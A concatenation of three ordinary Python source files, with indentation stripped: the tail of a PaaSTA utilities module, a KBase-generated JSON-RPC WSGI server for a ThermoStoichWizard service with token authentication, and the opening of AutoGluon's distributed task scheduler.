with open(deployment_file) as f:
return DeploymentsJsonV2(service=service, config_dict=json.load(f)["v2"])
else:
e = f"{deployment_file} was not found. 'generate_deployments_for_service --service {service}' must be run first"
raise NoDeploymentsAvailable(e)
def get_paasta_branch(cluster: str, instance: str) -> str:
return SPACER.join((cluster, instance))
def parse_timestamp(tstamp: str) -> datetime.datetime:
return datetime.datetime.strptime(tstamp, "%Y%m%dT%H%M%S")
def format_timestamp(dt: datetime.datetime = None) -> str:
if dt is None:
dt = datetime.datetime.utcnow()
return dt.strftime("%Y%m%dT%H%M%S")
def get_paasta_tag_from_deploy_group(identifier: str, desired_state: str) -> str:
timestamp = format_timestamp(datetime.datetime.utcnow())
return f"paasta-{identifier}-{timestamp}-{desired_state}"
def get_paasta_tag(cluster: str, instance: str, desired_state: str) -> str:
timestamp = format_timestamp(datetime.datetime.utcnow())
return f"paasta-{cluster}.{instance}-{timestamp}-{desired_state}"
def format_tag(tag: str) -> str:
return "refs/tags/%s" % tag
class NoDockerImageError(Exception):
pass
def get_config_hash(config: Any, force_bounce: str = None) -> str:
"""Create an MD5 hash of the configuration dictionary to be sent to
Marathon. Or anything really, so long as str(config) works. Returns
the first 8 characters so things are not really long.
:param config: The configuration to hash
:param force_bounce: a timestamp (in the form of a string) that is appended before hashing
that can be used to force a hash change
:returns: A MD5 hash of str(config)
"""
hasher = hashlib.md5()
hasher.update(
json.dumps(config, sort_keys=True).encode("UTF-8")
+ (force_bounce or "").encode("UTF-8")
)
return "config%s" % hasher.hexdigest()[:8]
def get_git_sha_from_dockerurl(docker_url: str, long: bool = False) -> str:
""" We encode the sha of the code that built a docker image *in* the docker
url. This function takes that url as input and outputs the sha.
"""
parts = docker_url.split("/")
parts = parts[-1].split("-")
sha = parts[-1]
return sha if long else sha[:8]
def get_code_sha_from_dockerurl(docker_url: str) -> str:
""" code_sha is hash extracted from docker url prefixed with "git", short
hash is used because it's embedded in marathon app names and there's length
limit.
"""
try:
git_sha = get_git_sha_from_dockerurl(docker_url, long=False)
return "git%s" % git_sha
except Exception:
return "gitUNKNOWN"
def is_under_replicated(
num_available: int, expected_count: int, crit_threshold: int
) -> Tuple[bool, float]:
"""Calculates if something is under replicated
:param num_available: How many things are up
:param expected_count: How many things you think should be up
:param crit_threshold: Int from 0-100
:returns: Tuple of (bool, ratio)
"""
if expected_count == 0:
ratio = 100.0
else:
ratio = (num_available / float(expected_count)) * 100
if ratio < int(crit_threshold):
return (True, ratio)
else:
return (False, ratio)
def deploy_blacklist_to_constraints(
deploy_blacklist: DeployBlacklist,
) -> List[Constraint]:
"""Converts a blacklist of locations into marathon appropriate constraints.
https://mesosphere.github.io/marathon/docs/constraints.html#unlike-operator
:param blacklist: List of lists of locations to blacklist
:returns: List of lists of constraints
"""
constraints: List[Constraint] = []
for blacklisted_location in deploy_blacklist:
constraints.append([blacklisted_location[0], "UNLIKE", blacklisted_location[1]])
return constraints
def deploy_whitelist_to_constraints(
deploy_whitelist: DeployWhitelist,
) -> List[Constraint]:
"""Converts a whitelist of locations into marathon appropriate constraints
https://mesosphere.github.io/marathon/docs/constraints.html#like-operator
:param deploy_whitelist: List of lists of locations to whitelist
:returns: List of lists of constraints
"""
if deploy_whitelist is not None:
(region_type, regions) = deploy_whitelist
regionstr = "|".join(regions)
return [[region_type, "LIKE", regionstr]]
return []
def terminal_len(text: str) -> int:
"""Return the number of characters that text will take up on a terminal. """
return len(remove_ansi_escape_sequences(text))
def format_table(
rows: Iterable[Union[str, Sequence[str]]], min_spacing: int = 2
) -> List[str]:
"""Formats a table for use on the command line.
:param rows: List of rows, each of which can either be a tuple of strings containing the row's values, or a string
to be inserted verbatim. Each row (except literal strings) should be the same number of elements as
all the others.
:returns: A string containing rows formatted as a table.
"""
list_rows = [r for r in rows if not isinstance(r, str)]
# If all of the rows are strings, we have nothing to do, so short-circuit.
if not list_rows:
return cast(List[str], rows)
widths = []
for i in range(len(list_rows[0])):
widths.append(max(terminal_len(r[i]) for r in list_rows))
expanded_rows = []
for row in rows:
if isinstance(row, str):
expanded_rows.append([row])
else:
expanded_row = []
for i, cell in enumerate(row):
if i == len(row) - 1:
padding = ""
else:
padding = " " * (widths[i] - terminal_len(cell))
expanded_row.append(cell + padding)
expanded_rows.append(expanded_row)
return [(" " * min_spacing).join(r) for r in expanded_rows]
_DeepMergeT = TypeVar("_DeepMergeT", bound=Any)
class DuplicateKeyError(Exception):
pass
def deep_merge_dictionaries(
overrides: _DeepMergeT, defaults: _DeepMergeT, allow_duplicate_keys: bool = True
) -> _DeepMergeT:
"""
Merges two dictionaries.
"""
result = copy.deepcopy(defaults)
stack: List[Tuple[Dict, Dict]] = [(overrides, result)]
while stack:
source_dict, result_dict = stack.pop()
for key, value in source_dict.items():
try:
child = result_dict[key]
except KeyError:
result_dict[key] = value
else:
if isinstance(value, dict) and isinstance(child, dict):
stack.append((value, child))
else:
if allow_duplicate_keys:
result_dict[key] = value
else:
raise DuplicateKeyError(
f"defaults and overrides both have key {key}"
)
return result
class ZookeeperPool:
"""
A context manager that shares the same KazooClient with its children. The first nested context manager
creates and deletes the client and shares it with any of its children. This allows to place a context
manager over a large number of zookeeper calls without opening and closing a connection each time.
GIL makes this 'safe'.
"""
counter: int = 0
zk: KazooClient = None
@classmethod
def __enter__(cls) -> KazooClient:
if cls.zk is None:
cls.zk = KazooClient(
hosts=load_system_paasta_config().get_zk_hosts(), read_only=True
)
cls.zk.start()
cls.counter = cls.counter + 1
return cls.zk
@classmethod
def __exit__(cls, *args: Any, **kwargs: Any) -> None:
cls.counter = cls.counter - 1
if cls.counter == 0:
cls.zk.stop()
cls.zk.close()
cls.zk = None
def calculate_tail_lines(verbose_level: int) -> int:
if verbose_level <= 1:
return 0
else:
return 10 ** (verbose_level - 1)
def is_deploy_step(step: str) -> bool:
"""
Returns true if the given step deploys to an instancename
Returns false if the step is a predefined step-type, e.g. itest or command-*
"""
return not (
(step in DEPLOY_PIPELINE_NON_DEPLOY_STEPS) or (step.startswith("command-"))
)
_UseRequestsCacheFuncT = TypeVar("_UseRequestsCacheFuncT", bound=Callable)
def use_requests_cache(
cache_name: str, backend: str = "memory", **kwargs: Any
) -> Callable[[_UseRequestsCacheFuncT], _UseRequestsCacheFuncT]:
def wrap(fun: _UseRequestsCacheFuncT) -> _UseRequestsCacheFuncT:
def fun_with_cache(*args: Any, **kwargs: Any) -> Any:
requests_cache.install_cache(cache_name, backend=backend, **kwargs)
result = fun(*args, **kwargs)
requests_cache.uninstall_cache()
return result
return cast(_UseRequestsCacheFuncT, fun_with_cache)
return wrap
def long_job_id_to_short_job_id(long_job_id: str) -> str:
service, instance, _, __ = decompose_job_id(long_job_id)
return compose_job_id(service, instance)
def mean(iterable: Collection[float]) -> float:
"""
Returns the average value of an iterable
"""
return sum(iterable) / len(iterable)
def prompt_pick_one(sequence: Collection[str], choosing: str) -> str:
if not sys.stdin.isatty():
print(
"No {choosing} specified and no TTY present to ask."
"Please specify a {choosing} using the cli.".format(choosing=choosing),
file=sys.stderr,
)
sys.exit(1)
if not sequence:
print(
f"PaaSTA needs to pick a {choosing} but none were found.", file=sys.stderr
)
sys.exit(1)
global_actions = [str("quit")]
choices = [(item, item) for item in sequence]
if len(choices) == 1:
return choices[0][0]
chooser = choice.Menu(choices=choices, global_actions=global_actions)
chooser.title = 'Please pick a {choosing} from the choices below (or "quit" to quit):'.format(
choosing=str(choosing)
)
try:
result = chooser.ask()
except (KeyboardInterrupt, EOFError):
print("")
sys.exit(1)
if isinstance(result, tuple) and result[1] == str("quit"):
sys.exit(1)
else:
return result
def to_bytes(obj: Any) -> bytes:
if isinstance(obj, bytes):
return obj
elif isinstance(obj, str):
return obj.encode("UTF-8")
else:
return str(obj).encode("UTF-8")
_TimeoutFuncRetType = TypeVar("_TimeoutFuncRetType")
def timeout(
seconds: int = 10,
error_message: str = os.strerror(errno.ETIME),
use_signals: bool = True,
) -> Callable[[Callable[..., _TimeoutFuncRetType]], Callable[..., _TimeoutFuncRetType]]:
if use_signals:
def decorate(
func: Callable[..., _TimeoutFuncRetType]
) -> Callable[..., _TimeoutFuncRetType]:
def _handle_timeout(signum: int, frame: FrameType) -> None:
raise TimeoutError(error_message)
def wrapper(*args: Any, **kwargs: Any) -> _TimeoutFuncRetType:
signal.signal(signal.SIGALRM, _handle_timeout)
signal.alarm(seconds)
try:
result = func(*args, **kwargs)
finally:
signal.alarm(0)
return result
return wraps(func)(wrapper)
else:
def decorate(
func: Callable[..., _TimeoutFuncRetType]
) -> Callable[..., _TimeoutFuncRetType]:
# https://github.com/python/mypy/issues/797
return _Timeout(func, seconds, error_message) # type: ignore
return decorate
class _Timeout:
def __init__(
self,
function: Callable[..., _TimeoutFuncRetType],
seconds: float,
error_message: str,
) -> None:
self.seconds = seconds
self.control: queue.Queue[
Tuple[bool, Union[_TimeoutFuncRetType, Tuple]]
] = queue.Queue()
self.function = function
self.error_message = error_message
def run(self, *args: Any, **kwargs: Any) -> None:
# Try and put the result of the function into the q
# if an exception occurs then we put the exc_info instead
# so that it can be raised in the main thread.
try:
self.control.put((True, self.function(*args, **kwargs)))
except Exception:
self.control.put((False, sys.exc_info()))
def __call__(self, *args: Any, **kwargs: Any) -> _TimeoutFuncRetType:
self.func_thread = threading.Thread(target=self.run, args=args, kwargs=kwargs)
self.func_thread.daemon = True
self.timeout = self.seconds + time.time()
self.func_thread.start()
return self.get_and_raise()
def get_and_raise(self) -> _TimeoutFuncRetType:
while not self.timeout < time.time():
time.sleep(0.01)
if not self.func_thread.is_alive():
ret = self.control.get()
if ret[0]:
return cast(_TimeoutFuncRetType, ret[1])
else:
_, e, tb = cast(Tuple, ret[1])
raise e.with_traceback(tb)
raise TimeoutError(self.error_message)
def suggest_possibilities(
word: str, possibilities: Iterable[str], max_suggestions: int = 3
) -> str:
suggestions = cast(
List[str],
difflib.get_close_matches(
word=word, possibilities=set(possibilities), n=max_suggestions
),
)
if len(suggestions) == 1:
return f"\nDid you mean: {suggestions[0]}?"
elif len(suggestions) >= 1:
return f"\nDid you mean one of: {', '.join(suggestions)}?"
else:
return ""
def list_services(soa_dir: str = DEFAULT_SOA_DIR) -> Sequence[str]:
"""Returns a sorted list of all services"""
return sorted(os.listdir(os.path.abspath(soa_dir)))
def get_possible_launched_by_user_variable_from_env() -> str:
return os.getenv("SUDO_USER") or getpass.getuser()
def load_all_configs(
cluster: str, file_prefix: str, soa_dir: str
) -> Mapping[str, Mapping[str, Any]]:
config_dicts = {}
for service in os.listdir(soa_dir):
config_dicts[
service
] = service_configuration_lib.read_extra_service_information(
service, f"{file_prefix}-{cluster}", soa_dir=soa_dir
)
return config_dicts
def ldap_user_search(
cn: str,
search_base: str,
search_ou: str,
ldap_host: str,
username: str,
password: str,
) -> Set[str]:
"""Connects to LDAP and raises a subclass of LDAPOperationResult when it fails"""
tls_config = ldap3.Tls(
validate=ssl.CERT_REQUIRED, ca_certs_file="/etc/ssl/certs/ca-certificates.crt"
)
server = ldap3.Server(ldap_host, use_ssl=True, tls=tls_config)
conn = ldap3.Connection(
server, user=username, password=password, raise_exceptions=True
)
conn.bind()
search_filter = f"(&(memberOf=CN={cn},{search_ou})(!(userAccountControl=514)))"
entries = conn.extend.standard.paged_search(
search_base=search_base,
search_scope=ldap3.SUBTREE,
search_filter=search_filter,
attributes=["sAMAccountName"],
paged_size=1000,
time_limit=10,
)
return {entry["attributes"]["sAMAccountName"] for entry in entries}
def _reorder_docker_volumes(volumes: List[DockerVolume]) -> List[DockerVolume]:
deduped = {
v["containerPath"].rstrip("/") + v["hostPath"].rstrip("/"): v for v in volumes
}.values()
return sort_dicts(deduped)
|
ThermoStoichWizardServer.py
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import datetime
import json
import os
import random as _random
import sys
import traceback
from getopt import getopt, GetoptError
from multiprocessing import Process
from os import environ
from wsgiref.simple_server import make_server
import requests as _requests
from jsonrpcbase import JSONRPCService, InvalidParamsError, KeywordError, \
JSONRPCError, InvalidRequestError
from jsonrpcbase import ServerError as JSONServerError
from biokbase import log
from ThermoStoichWizard.authclient import KBaseAuth as _KBaseAuth
try:
from ConfigParser import ConfigParser
except ImportError:
from configparser import ConfigParser
DEPLOY = 'KB_DEPLOYMENT_CONFIG'
SERVICE = 'KB_SERVICE_NAME'
AUTH = 'auth-service-url'
# Note that the error fields do not match the 2.0 JSONRPC spec
def get_config_file():
return environ.get(DEPLOY, None)
def get_service_name():
return environ.get(SERVICE, None)
def get_config():
if not get_config_file():
return None
retconfig = {}
config = ConfigParser()
config.read(get_config_file())
for nameval in config.items(get_service_name() or 'ThermoStoichWizard'):
retconfig[nameval[0]] = nameval[1]
return retconfig
config = get_config()
from ThermoStoichWizard.ThermoStoichWizardImpl import ThermoStoichWizard # noqa @IgnorePep8
impl_ThermoStoichWizard = ThermoStoichWizard(config)
class JSONObjectEncoder(json.JSONEncoder):
def default(self, obj):
if isinstance(obj, set):
return list(obj)
if isinstance(obj, frozenset):
return list(obj)
if hasattr(obj, 'toJSONable'):
return obj.toJSONable()
return json.JSONEncoder.default(self, obj)
class JSONRPCServiceCustom(JSONRPCService):
def call(self, ctx, jsondata):
"""
Calls jsonrpc service's method and returns its return value in a JSON
string or None if there is none.
Arguments:
jsondata -- remote method call in jsonrpc format
"""
result = self.call_py(ctx, jsondata)
if result is not None:
return json.dumps(result, cls=JSONObjectEncoder)
return None
def _call_method(self, ctx, request):
"""Calls given method with given params and returns it value."""
method = self.method_data[request['method']]['method']
params = request['params']
result = None
try:
if isinstance(params, list):
# Does it have enough arguments?
if len(params) < self._man_args(method) - 1:
raise InvalidParamsError('not enough arguments')
# Does it have too many arguments?
if(not self._vargs(method) and len(params) >
self._max_args(method) - 1):
raise InvalidParamsError('too many arguments')
result = method(ctx, *params)
elif isinstance(params, dict):
# Do not accept keyword arguments if the jsonrpc version is
# not >=1.1.
if request['jsonrpc'] < 11:
raise KeywordError
result = method(ctx, **params)
else: # No params
result = method(ctx)
except JSONRPCError:
raise
except Exception as e:
# log.exception('method %s threw an exception' % request['method'])
# Exception was raised inside the method.
newerr = JSONServerError()
newerr.trace = traceback.format_exc()
if len(e.args) == 1:
newerr.data = repr(e.args[0])
else:
newerr.data = repr(e.args)
raise newerr
return result
def call_py(self, ctx, jsondata):
"""
Calls jsonrpc service's method and returns its return value in python
object format or None if there is none.
This method is same as call() except the return value is a python
object instead of JSON string. This method is mainly only useful for
debugging purposes.
"""
rdata = jsondata
# we already deserialize the json string earlier in the server code, no
# need to do it again
# try:
# rdata = json.loads(jsondata)
# except ValueError:
# raise ParseError
# set some default values for error handling
request = self._get_default_vals()
if isinstance(rdata, dict) and rdata:
# It's a single request.
self._fill_request(request, rdata)
respond = self._handle_request(ctx, request)
# Don't respond to notifications
if respond is None:
return None
return respond
elif isinstance(rdata, list) and rdata:
# It's a batch.
requests = []
responds = []
for rdata_ in rdata:
# set some default values for error handling
request_ = self._get_default_vals()
self._fill_request(request_, rdata_)
requests.append(request_)
for request_ in requests:
respond = self._handle_request(ctx, request_)
# Don't respond to notifications
if respond is not None:
responds.append(respond)
if responds:
return responds
# Nothing to respond.
return None
else:
# empty dict, list or wrong type
raise InvalidRequestError
def _handle_request(self, ctx, request):
"""Handles given request and returns its response."""
if 'types' in self.method_data[request['method']]:
self._validate_params_types(request['method'], request['params'])
result = self._call_method(ctx, request)
# Do not respond to notifications.
if request['id'] is None:
return None
respond = {}
self._fill_ver(request['jsonrpc'], respond)
respond['result'] = result
respond['id'] = request['id']
return respond
class MethodContext(dict):
def __init__(self, logger):
self['client_ip'] = None
self['user_id'] = None
self['authenticated'] = None
self['token'] = None
self['module'] = None
self['method'] = None
self['call_id'] = None
self['rpc_context'] = None
self['provenance'] = None
self._debug_levels = set([7, 8, 9, 'DEBUG', 'DEBUG2', 'DEBUG3'])
self._logger = logger
def log_err(self, message):
self._log(log.ERR, message)
def log_info(self, message):
self._log(log.INFO, message)
def log_debug(self, message, level=1):
if level in self._debug_levels:
pass
else:
level = int(level)
if level < 1 or level > 3:
raise ValueError("Illegal log level: " + str(level))
level = level + 6
self._log(level, message)
def set_log_level(self, level):
self._logger.set_log_level(level)
def get_log_level(self):
return self._logger.get_log_level()
def clear_log_level(self):
self._logger.clear_user_log_level()
def _log(self, level, message):
self._logger.log_message(level, message, self['client_ip'],
self['user_id'], self['module'],
self['method'], self['call_id'])
def provenance(self):
callbackURL = os.environ.get('SDK_CALLBACK_URL')
if callbackURL:
# OK, there's a callback server from which we can get provenance
arg_hash = {'method': 'CallbackServer.get_provenance',
'params': [],
'version': '1.1',
'id': str(_random.random())[2:]
}
body = json.dumps(arg_hash)
response = _requests.post(callbackURL, data=body,
timeout=60)
response.encoding = 'utf-8'
if response.status_code == 500:
if ('content-type' in response.headers and
response.headers['content-type'] ==
'application/json'):
err = response.json()
if 'error' in err:
raise ServerError(**err['error'])
else:
raise ServerError('Unknown', 0, response.text)
else:
raise ServerError('Unknown', 0, response.text)
if not response.ok:
response.raise_for_status()
resp = response.json()
if 'result' not in resp:
raise ServerError('Unknown', 0,
'An unknown server error occurred')
return resp['result'][0]
else:
return self.get('provenance')
class ServerError(Exception):
'''
The call returned an error. Fields:
name - the name of the error.
code - the error code.
message - a human readable error message.
data - the server side stacktrace.
'''
def __init__(self, name, code, message, data=None, error=None):
super(Exception, self).__init__(message)
self.name = name
self.code = code
self.message = message if message else ''
self.data = data or error or ''
# data = JSON RPC 2.0, error = 1.1
def __str__(self):
return self.name + ': ' + str(self.code) + '. ' + self.message + \
'\n' + self.data
def getIPAddress(environ):
xFF = environ.get('HTTP_X_FORWARDED_FOR')
realIP = environ.get('HTTP_X_REAL_IP')
trustXHeaders = config is None or \
config.get('dont_trust_x_ip_headers') != 'true'
if (trustXHeaders):
if (xFF):
return xFF.split(',')[0].strip()
if (realIP):
return realIP.strip()
return environ.get('REMOTE_ADDR')
class Application(object):
# Wrap the wsgi handler in a class definition so that we can
# do some initialization and avoid regenerating stuff over
# and over
def logcallback(self):
self.serverlog.set_log_file(self.userlog.get_log_file())
def log(self, level, context, message):
self.serverlog.log_message(level, message, context['client_ip'],
context['user_id'], context['module'],
context['method'], context['call_id'])
def __init__(self):
submod = get_service_name() or 'ThermoStoichWizard'
self.userlog = log.log(
submod, ip_address=True, authuser=True, module=True, method=True,
call_id=True, changecallback=self.logcallback,
config=get_config_file())
self.serverlog = log.log(
submod, ip_address=True, authuser=True, module=True, method=True,
call_id=True, logfile=self.userlog.get_log_file())
self.serverlog.set_log_level(6)
self.rpc_service = JSONRPCServiceCustom()
self.method_authentication = dict()
self.rpc_service.add(impl_ThermoStoichWizard.run_ThermoStoichWizard,
name='ThermoStoichWizard.run_ThermoStoichWizard',
types=[dict])
self.method_authentication['ThermoStoichWizard.run_ThermoStoichWizard'] = 'required' # noqa
self.rpc_service.add(impl_ThermoStoichWizard.status,
name='ThermoStoichWizard.status',
types=[dict])
authurl = config.get(AUTH) if config else None
self.auth_client = _KBaseAuth(authurl)
def __call__(self, environ, start_response):
# Context object, equivalent to the perl impl CallContext
ctx = MethodContext(self.userlog)
ctx['client_ip'] = getIPAddress(environ)
status = '500 Internal Server Error'
try:
body_size = int(environ.get('CONTENT_LENGTH', 0))
except (ValueError):
body_size = 0
if environ['REQUEST_METHOD'] == 'OPTIONS':
# we basically do nothing and just return headers
status = '200 OK'
rpc_result = ""
else:
request_body = environ['wsgi.input'].read(body_size)
try:
req = json.loads(request_body)
except ValueError as ve:
err = {'error': {'code': -32700,
'name': "Parse error",
'message': str(ve),
}
}
rpc_result = self.process_error(err, ctx, {'version': '1.1'})
else:
ctx['module'], ctx['method'] = req['method'].split('.')
ctx['call_id'] = req['id']
ctx['rpc_context'] = {
'call_stack': [{'time': self.now_in_utc(),
'method': req['method']}
]
}
prov_action = {'service': ctx['module'],
'method': ctx['method'],
'method_params': req['params']
}
ctx['provenance'] = [prov_action]
try:
token = environ.get('HTTP_AUTHORIZATION')
# parse out the method being requested and check if it
# has an authentication requirement
method_name = req['method']
auth_req = self.method_authentication.get(
method_name, 'none')
if auth_req != 'none':
if token is None and auth_req == 'required':
err = JSONServerError()
err.data = (
'Authentication required for ' +
'ThermoStoichWizard ' +
'but no authentication header was passed')
raise err
elif token is None and auth_req == 'optional':
pass
else:
try:
user = self.auth_client.get_user(token)
ctx['user_id'] = user
ctx['authenticated'] = 1
ctx['token'] = token
except Exception as e:
if auth_req == 'required':
err = JSONServerError()
err.data = \
"Token validation failed: %s" % e
raise err
if (environ.get('HTTP_X_FORWARDED_FOR')):
self.log(log.INFO, ctx, 'X-Forwarded-For: ' +
environ.get('HTTP_X_FORWARDED_FOR'))
self.log(log.INFO, ctx, 'start method')
rpc_result = self.rpc_service.call(ctx, req)
self.log(log.INFO, ctx, 'end method')
status = '200 OK'
except JSONRPCError as jre:
err = {'error': {'code': jre.code,
'name': jre.message,
'message': jre.data
}
}
trace = jre.trace if hasattr(jre, 'trace') else None
rpc_result = self.process_error(err, ctx, req, trace)
except Exception:
err = {'error': {'code': 0,
'name': 'Unexpected Server Error',
'message': 'An unexpected server error ' +
'occurred',
}
}
rpc_result = self.process_error(err, ctx, req,
traceback.format_exc())
# print('Request method was %s\n' % environ['REQUEST_METHOD'])
# print('Environment dictionary is:\n%s\n' % pprint.pformat(environ))
# print('Request body was: %s' % request_body)
# print('Result from the method call is:\n%s\n' % \
# pprint.pformat(rpc_result))
if rpc_result:
response_body = rpc_result
else:
response_body = ''
response_headers = [
('Access-Control-Allow-Origin', '*'),
('Access-Control-Allow-Headers', environ.get(
'HTTP_ACCESS_CONTROL_REQUEST_HEADERS', 'authorization')),
('content-type', 'application/json'),
('content-length', str(len(response_body)))]
start_response(status, response_headers)
return [response_body.encode('utf8')]
def process_error(self, error, context, request, trace=None):
if trace:
self.log(log.ERR, context, trace.split('\n')[0:-1])
if 'id' in request:
error['id'] = request['id']
if 'version' in request:
error['version'] = request['version']
e = error['error'].get('error')
if not e:
error['error']['error'] = trace
elif 'jsonrpc' in request:
error['jsonrpc'] = request['jsonrpc']
error['error']['data'] = trace
else:
error['version'] = '1.0'
error['error']['error'] = trace
return json.dumps(error)
def now_in_utc(self):
# noqa Taken from http://stackoverflow.com/questions/3401428/how-to-get-an-isoformat-datetime-string-including-the-default-timezone @IgnorePep8
dtnow = datetime.datetime.now()
dtutcnow = datetime.datetime.utcnow()
delta = dtnow - dtutcnow
hh, mm = divmod((delta.days * 24 * 60 * 60 + delta.seconds + 30) // 60,
60)
return "%s%+02d:%02d" % (dtnow.isoformat(), hh, mm)
application = Application()
# This is the uwsgi application dictionary. On startup uwsgi will look
# for this dict and pull its configuration from here.
# This simply lists where to "mount" the application in the URL path
#
# This uwsgi module "magically" appears when running the app within
# uwsgi and is not available otherwise, so wrap an exception handler
# around it
#
# To run this server in uwsgi with 4 workers listening on port 9999 use:
# uwsgi -M -p 4 --http :9999 --wsgi-file _this_file_
# To run a using the single threaded python BaseHTTP service
# listening on port 9999 by default execute this file
#
try:
import uwsgi
# Before we do anything with the application, see if the
# configs specify patching all std routines to be asynch
# *ONLY* use this if you are going to wrap the service in
# a wsgi container that has enabled gevent, such as
# uwsgi with the --gevent option
if config is not None and config.get('gevent_monkeypatch_all', False):
print("Monkeypatching std libraries for async")
from gevent import monkey
monkey.patch_all()
uwsgi.applications = {'': application}
except ImportError:
# Not available outside of wsgi, ignore
pass
_proc = None
def start_server(host='localhost', port=0, newprocess=False):
'''
By default, will start the server on localhost on a system assigned port
in the main thread. Excecution of the main thread will stay in the server
main loop until interrupted. To run the server in a separate process, and
thus allow the stop_server method to be called, set newprocess = True. This
will also allow returning of the port number.'''
global _proc
if _proc:
raise RuntimeError('server is already running')
httpd = make_server(host, port, application)
port = httpd.server_address[1]
print("Listening on port %s" % port)
if newprocess:
_proc = Process(target=httpd.serve_forever)
_proc.daemon = True
_proc.start()
else:
httpd.serve_forever()
return port
def stop_server():
global _proc
_proc.terminate()
_proc = None
def process_async_cli(input_file_path, output_file_path, token):
exit_code = 0
with open(input_file_path) as data_file:
req = json.load(data_file)
if 'version' not in req:
req['version'] = '1.1'
if 'id' not in req:
req['id'] = str(_random.random())[2:]
ctx = MethodContext(application.userlog)
if token:
user = application.auth_client.get_user(token)
ctx['user_id'] = user
ctx['authenticated'] = 1
ctx['token'] = token
if 'context' in req:
ctx['rpc_context'] = req['context']
ctx['CLI'] = 1
ctx['module'], ctx['method'] = req['method'].split('.')
prov_action = {'service': ctx['module'], 'method': ctx['method'],
'method_params': req['params']}
ctx['provenance'] = [prov_action]
resp = None
try:
resp = application.rpc_service.call_py(ctx, req)
except JSONRPCError as jre:
trace = jre.trace if hasattr(jre, 'trace') else None
resp = {'id': req['id'],
'version': req['version'],
'error': {'code': jre.code,
'name': jre.message,
'message': jre.data,
'error': trace}
}
except Exception:
trace = traceback.format_exc()
resp = {'id': req['id'],
'version': req['version'],
'error': {'code': 0,
'name': 'Unexpected Server Error',
'message': 'An unexpected server error occurred',
'error': trace}
}
if 'error' in resp:
exit_code = 500
with open(output_file_path, "w") as f:
f.write(json.dumps(resp, cls=JSONObjectEncoder))
return exit_code
if __name__ == "__main__":
if (len(sys.argv) >= 3 and len(sys.argv) <= 4 and
os.path.isfile(sys.argv[1])):
token = None
if len(sys.argv) == 4:
if os.path.isfile(sys.argv[3]):
with open(sys.argv[3]) as token_file:
token = token_file.read()
else:
token = sys.argv[3]
sys.exit(process_async_cli(sys.argv[1], sys.argv[2], token))
try:
opts, args = getopt(sys.argv[1:], "", ["port=", "host="])
except GetoptError as err:
# print help information and exit:
print(str(err)) # will print something like "option -a not recognized"
sys.exit(2)
port = 9999
host = 'localhost'
for o, a in opts:
if o == '--port':
port = int(a)
elif o == '--host':
host = a
print("Host set to %s" % host)
else:
assert False, "unhandled option"
start_server(host=host, port=port)
# print("Listening on port %s" % port)
# httpd = make_server( host, port, application)
#
# httpd.serve_forever()
|
scheduler.py
|
"""Distributed Task Scheduler"""
import os
import pickle
import logging
from warnings import warn
import multiprocessing as mp
from collections import OrderedDict
from .remote import RemoteManager
from .resource import DistributedResourceManager
from ..core import Task
from .reporter import *
from ..utils import AutoGluonWarning, AutoGluonEarlyStop, CustomProcess
logger = logging.getLogger(__name__)
__all__ = ['TaskScheduler']
class TaskScheduler(object):
"""Base Distributed Task Scheduler
"""
LOCK = mp.Lock()
RESOURCE_MANAGER = DistributedResourceManager()
REMOTE_MANAGER = RemoteManager()
def __init__(self, dist_ip_addrs=None):
if dist_ip_addrs is None:
dist_ip_addrs=[]
cls = TaskScheduler
remotes = cls.REMOTE_MANAGER.add_remote_nodes(dist_ip_addrs)
cls.RESOURCE_MANAGER.add_remote(cls.REMOTE_MANAGER.get_remotes())
self.scheduled_tasks = []
self.finished_tasks = []
def add_remote(self, ip_addrs):
"""Add remote nodes to the scheduler computation resource.
"""
ip_addrs = [ip_addrs] if isinstance(ip_addrs, str) else ip_addrs
with self.LOCK:
remotes = TaskScheduler.REMOTE_MANAGER.add_remote_nodes(ip_addrs)
TaskScheduler.RESOURCE_MANAGER.add_remote(remotes)
@classmethod
def upload_files(cls, files, **kwargs):
"""Upload files to remote machines, so that they are accessible by import or load.
"""
cls.REMOTE_MANAGER.upload_files(files, **kwargs)
def _dict_from_task(self, task):
if isinstance(task, Task):
return {'TASK_ID': task.task_id, 'Args': task.args}
else:
assert isinstance(task, dict)
return {'TASK_ID': task['TASK_ID'], 'Args': task['Args']}
def add_task(self, task, **kwargs):
"""add_task() is now deprecated in favor of add_job().
"""
warn("scheduler.add_task() is now deprecated in favor of scheduler.add_job().",
AutoGluonWarning)
self.add_job(task, **kwargs)
def add_job(self, task, **kwargs):
"""Adding a training task to the scheduler.
Args:
task (:class:`autogluon.scheduler.Task`): a new training task
Relevant entries in kwargs:
- bracket: HB bracket to be used. Has been sampled in _promote_config
- new_config: If True, task starts new config eval, otherwise it promotes
a config (only if type == 'promotion')
Only if new_config == False:
- config_key: Internal key for config
- resume_from: config promoted from this milestone
- milestone: config promoted to this milestone (next from resume_from)
"""
# adding the task
cls = TaskScheduler
cls.RESOURCE_MANAGER._request(task.resources)
job = cls._start_distributed_job(task, cls.RESOURCE_MANAGER)
with self.LOCK:
new_dict = self._dict_from_task(task)
new_dict['Job'] = job
self.scheduled_tasks.append(new_dict)
def run_job(self, task):
"""Run a training task to the scheduler (Sync).
"""
cls = TaskScheduler
cls.RESOURCE_MANAGER._request(task.resources)
job = cls._start_distributed_job(task, cls.RESOURCE_MANAGER)
return job.result()
@staticmethod
def _start_distributed_job(task, resource_manager):
"""Async Execute the job in remote and release the resources
"""
logger.debug('\nScheduling {}'.format(task))
job = task.resources.node.submit(TaskScheduler._run_dist_job,
task.fn, task.args, task.resources.gpu_ids)
def _release_resource_callback(fut):
logger.debug('Start Releasing Resource')
resource_manager._release(task.resources)
job.add_done_callback(_release_resource_callback)
return job
@staticmethod
def _run_dist_job(fn, args, gpu_ids):
"""Remote function Executing the task
"""
if '_default_config' in args['args']:
args['args'].pop('_default_config')
if 'reporter' in args:
local_reporter = LocalStatusReporter()
dist_reporter = args['reporter']
args['reporter'] = local_reporter
manager = mp.Manager()
return_list = manager.list()
def _worker(return_list, gpu_ids, args):
"""Worker function in thec client
"""
if len(gpu_ids) > 0:
# handle GPU devices
os.environ['CUDA_VISIBLE_DEVICES'] = ",".join(map(str, gpu_ids))
os.environ['MXNET_CUDNN_AUTOTUNE_DEFAULT'] = "0"
# running
try:
ret = fn(**args)
except AutoGluonEarlyStop:
ret = None
return_list.append(ret)
try:
# start local progress
p = CustomProcess(target=_worker, args=(return_list, gpu_ids, args))
p.start()
if 'reporter' in args:
cp = Communicator.Create(p, local_reporter, dist_reporter)
p.join()
except Exception as e:
